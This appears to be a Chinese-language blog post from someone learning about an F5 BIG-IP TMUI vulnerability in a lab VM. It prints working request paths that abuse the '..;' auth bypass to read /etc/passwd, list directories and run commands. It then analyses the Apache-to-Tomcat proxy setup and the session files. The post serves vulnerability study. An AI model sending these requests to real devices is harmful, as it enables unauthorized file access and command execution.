F5 BIG-IP 学习

前言

最近老看到的名字很奇怪的软件，简单看一下，不深入。

环境搭建

对这款软件有过了解的师傅可以自行搭建，像我这样之前完全没听过这个名字的菜鸡，参考的是这篇文章，因为我自己注册账号下载的时候被拒绝了，所以直接使用的是文章给出的账号密码去下载的虚拟机，然后将 ova 文件拖入 Vmware 启动虚拟机，修改密码完成环境搭建。

漏洞利用 1

来自参考文章，其实就是越权访问了危险操作的接口，文件读取：

1	`/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd`

列目录：

1	`/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/`

命令执行：

1
2
3

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create cli alias private list command bash
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list /tmp/cmd

漏洞分析 1

在阅读源码之前，先理一下软件结构，首先看看端口监听情况：

[root@localhost:NO LICENSE:Standalone] modules # netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...
tcp6       0      0 :::443                  :::*                    LISTEN      4202/httpd
...

可以注意到，我们使用 HTTPS 协议访问它的 web 界面时，处理请求的其实是 Apache，所以这里其实是一个 Apache 代理 Tomcat 的结构，Apache 的配置文件可以在 /config/httpd 下面找到，其中有两个重要的配置文件，httpd.conf 和 proxy_ajp.conf，在 httpd.conf 文件里面有用户鉴权相关的配置，里面有这样一句注释：

#
# This is the location of the external APIs used by clients.
#
# The mod_auth_pam and mod_f5_auth_cookie packages have been modified
# to recognize URLs under this path and perform standard Basic
# authentication (rather than forward to the UI login page).
#

所以我们将这两个 Apache 扩展下载到本地，可以用 IDA 打开进行分析（但是 C++ 加上 Apache 函数，挺难看的），可以发现权限校验就是由 Apache 完成的，session 文件存放在 /var/run/pamcache/ 目录下，大致内容如下：

2
192.168.3.20
admin
0
/bin/false

Thu Jul 23 14:08:41 2020
[All]
Administrator
eOTD2tjVa3AqazzBP3VCBZHe
17
1200

包括用户名、IP、权限等等数据，权限校验完成后，Apache 就会将请求发送给 Tomcat，可以看 proxy_apj.conf：

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5